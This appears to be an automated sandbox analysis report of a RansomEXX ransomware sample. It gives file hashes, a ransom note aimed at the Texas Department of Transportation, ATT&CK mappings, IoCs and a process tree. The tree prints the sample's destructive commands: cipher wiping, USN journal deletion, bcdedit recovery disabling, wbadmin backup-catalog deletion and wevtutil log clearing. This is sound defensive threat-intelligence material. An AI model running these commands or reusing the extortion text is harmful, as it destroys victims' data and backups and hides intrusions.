ransomexx_win | e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162

General

Target

e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
Size

156KB
MD5

ca2326886fa699068c44f32b3e51adaf
SHA1

3555aaebe6c113fb8f923a38cb3bd75da6e86277
SHA256

e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162
SHA512

d7da00f22fede4909c29d5c6125f2b5749453cefa65c262133d50cf7235fc9d3b134e5b2d5740f08e8db3fc70c21de8bed42deb84a5ca31108a7968026b7ed9e

Score

10^/10

ransomexx_win evasion ransomware

Malware Config

Extracted

Path

C:\Users\Admin\.oracle_jre_usage\!TXDOT_READ_ME!.txt

Ransom Note

Greetings, Texas Department of Transportation! Read this message CAREFULLY and contact someone from IT department. Your files are securely ENCRYPTED. No third party decryption software EXISTS. MODIFICATION or RENAMING encrypted files may cause decryption failure. You can send us an encrypted file (not greater than 400KB) and we will decrypt it FOR FREE, so you have no doubts in possibility to restore all files from all affected systems ANY TIME. Encrypted file SHOULD NOT contain sensitive information (technical, backups, databases, large documents). The rest of data will be available after the PAYMENT. Infrastructure rebuild will cost you MUCH more. Contact us ONLY if you officially represent the whole affected network. The ONLY attachments we accept are non archived encrypted files for test decryption. Speak ENGLISH when contacting us. Mail us: [email protected] We kindly ask you not to use GMAIL, YAHOO or LIVE to contact us. The PRICE depends on how quickly you do it. �

Emails

[email protected]

Extracted

Path

C:\Users\Admin\Documents\!TXDOT_READ_ME!.txt

Ransom Note

Greetings, Texas Department of Transportation! Read this message CAREFULLY and contact someone from IT department. Your files are securely ENCRYPTED. No third party decryption software EXISTS. MODIFICATION or RENAMING encrypted files may cause decryption failure. You can send us an encrypted file (not greater than 400KB) and we will decrypt it FOR FREE, so you have no doubts in possibility to restore all files from all affected systems ANY TIME. Encrypted file SHOULD NOT contain sensitive information (technical, backups, databases, large documents). The rest of data will be available after the PAYMENT. Infrastructure rebuild will cost you MUCH more. Contact us ONLY if you officially represent the whole affected network. The ONLY attachments we accept are non archived encrypted files for test decryption. Speak ENGLISH when contacting us. Mail us: [email protected] We kindly ask you not to use GMAIL, YAHOO or LIVE to contact us. The PRICE depends on how quickly you do it. �Greetings, Texas Department of Transportation! Read this message CAREFULLY and contact someone from IT department. Your files are securely ENCRYPTED. No third party decryption software EXISTS. MODIFICATION or RENAMING encrypted files may cause decryption failure. You can send us an encrypted file (not greater than 400KB) and we will decrypt it FOR FREE, so you have no doubts in possibility to restore all files from all affected systems ANY TIME. Encrypted file SHOULD NOT contain sensitive information (technical, backups, databases, large documents). The rest of data will be available after the PAYMENT. Infrastructure rebuild will cost you MUCH more. Contact us ONLY if you officially represent the whole affected network. The ONLY attachments we accept are non archived encrypted files for test decryption. Speak ENGLISH when contacting us. Mail us: [email protected] We kindly ask you not to use GMAIL, YAHOO or LIVE to contact us. The PRICE depends on how quickly you do it. �

Emails

[email protected]

Signatures

Deletes NTFS Change Journal 2 TTPs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
ransomware

Inhibit System Recovery
T1490

Data Destruction
T1485
RansomEXX Ransomware
Targeted ransomware with variants which affect Windows and Linux systems.
ransomware ransomexx_win
Clears Windows event logs 1 TTPs
evasion ransomware

Indicator Removal on Host
T1070

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3228	bcdedit.exe
3944	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command-Line Interface

T1059

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
4092	wbadmin.exe

Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Modifies extensions of user files 12 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\ResumeConvertFrom.tiff	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
File renamed	C:\Users\Admin\Pictures\ApproveOptimize.tif => C:\Users\Admin\Pictures\ApproveOptimize.tif.txd0t	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
File renamed	C:\Users\Admin\Pictures\CloseResume.tif => C:\Users\Admin\Pictures\CloseResume.tif.txd0t	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
File renamed	C:\Users\Admin\Pictures\ReadResize.crw => C:\Users\Admin\Pictures\ReadResize.crw.txd0t	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
File renamed	C:\Users\Admin\Pictures\ReceiveUnpublish.tiff => C:\Users\Admin\Pictures\ReceiveUnpublish.tiff.txd0t	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
File renamed	C:\Users\Admin\Pictures\ResetExport.raw => C:\Users\Admin\Pictures\ResetExport.raw.txd0t	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
File renamed	C:\Users\Admin\Pictures\RestartUse.raw => C:\Users\Admin\Pictures\RestartUse.raw.txd0t	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
File renamed	C:\Users\Admin\Pictures\CompareRename.tif => C:\Users\Admin\Pictures\CompareRename.tif.txd0t	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
File renamed	C:\Users\Admin\Pictures\PingInvoke.png => C:\Users\Admin\Pictures\PingInvoke.png.txd0t	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
File opened for modification	C:\Users\Admin\Pictures\ReceiveUnpublish.tiff	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
File renamed	C:\Users\Admin\Pictures\ResetRepair.png => C:\Users\Admin\Pictures\ResetRepair.png.txd0t	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
File renamed	C:\Users\Admin\Pictures\ResumeConvertFrom.tiff => C:\Users\Admin\Pictures\ResumeConvertFrom.tiff.txd0t	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe

Overwrites deleted data with Cipher tool 1 TTPs
Cipher is a Windows tool which be used to securely wipe deallocated HDD space, preventing recovery of deleted data.
ransomware

Inhibit System Recovery
T1490

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	cipher.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000	vds.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeSecurityPrivilege	2252	wevtutil.exe
Token: SeBackupPrivilege	2252	wevtutil.exe
Token: SeSecurityPrivilege	2272	wevtutil.exe
Token: SeBackupPrivilege	2272	wevtutil.exe
Token: SeSecurityPrivilege	2028	wevtutil.exe
Token: SeBackupPrivilege	2028	wevtutil.exe
Token: SeSecurityPrivilege	3500	wevtutil.exe
Token: SeBackupPrivilege	3500	wevtutil.exe
Token: SeSecurityPrivilege	3644	wevtutil.exe
Token: SeBackupPrivilege	3644	wevtutil.exe
Token: SeBackupPrivilege	3484	wbengine.exe
Token: SeRestorePrivilege	3484	wbengine.exe
Token: SeSecurityPrivilege	3484	wbengine.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 656 wrote to memory of 3848	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	81
PID 656 wrote to memory of 3228	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	84
PID 656 wrote to memory of 3228	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	84
PID 656 wrote to memory of 3848	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	81
PID 656 wrote to memory of 3848	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	81
PID 656 wrote to memory of 4028	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	82
PID 656 wrote to memory of 4028	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	82
PID 656 wrote to memory of 4028	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	82
PID 656 wrote to memory of 3944	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	85
PID 656 wrote to memory of 3944	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	85
PID 656 wrote to memory of 4092	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	86
PID 656 wrote to memory of 4092	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	86
PID 656 wrote to memory of 3864	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	80
PID 656 wrote to memory of 3864	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	80
PID 656 wrote to memory of 3448	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	83
PID 656 wrote to memory of 3448	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	83
PID 656 wrote to memory of 3500	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	91
PID 656 wrote to memory of 2272	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	90
PID 656 wrote to memory of 3500	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	91
PID 656 wrote to memory of 2272	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	90
PID 656 wrote to memory of 2028	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	88
PID 656 wrote to memory of 2028	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	88
PID 656 wrote to memory of 2252	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	87
PID 656 wrote to memory of 2252	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	87
PID 656 wrote to memory of 3644	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	89
PID 656 wrote to memory of 3644	656	e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe	89

C:\Users\Admin\AppData\Local\Temp\e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe
"C:\Users\Admin\AppData\Local\Temp\e55fcf9315c52d2abd3431f7e4bb82cbd2b0d24d124e0e1a27b951030b2de162.exe"
1⤵
- Modifies extensions of user files
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:656
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3864
- C:\Windows\SysWOW64\cipher.exe
  "C:\Windows\System32\cipher.exe" /w:C:
  2⤵
  PID:3848
- C:\Windows\SysWOW64\cipher.exe
  "C:\Windows\System32\cipher.exe" /w:D:
  2⤵
  - Enumerates connected drives
  PID:4028
- C:\Windows\System32\fsutil.exe
  "C:\Windows\System32\fsutil.exe" usn deletejournal /D C:
  2⤵
  PID:3448
- C:\Windows\System32\bcdedit.exe
  "C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3228
- C:\Windows\System32\bcdedit.exe
  "C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3944
- C:\Windows\System32\wbadmin.exe
  "C:\Windows\System32\wbadmin.exe" delete catalog -quiet
  2⤵
  - Deletes backup catalog
  PID:4092
- C:\Windows\System32\wevtutil.exe
  "C:\Windows\System32\wevtutil.exe" cl Application
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2252
- C:\Windows\System32\wevtutil.exe
  "C:\Windows\System32\wevtutil.exe" cl Security
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2028
- C:\Windows\System32\wevtutil.exe
  "C:\Windows\System32\wevtutil.exe" sl Security /e:false
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3644
- C:\Windows\System32\wevtutil.exe
  "C:\Windows\System32\wevtutil.exe" cl Setup
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2272
- C:\Windows\System32\wevtutil.exe
  "C:\Windows\System32\wevtutil.exe" cl System
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3500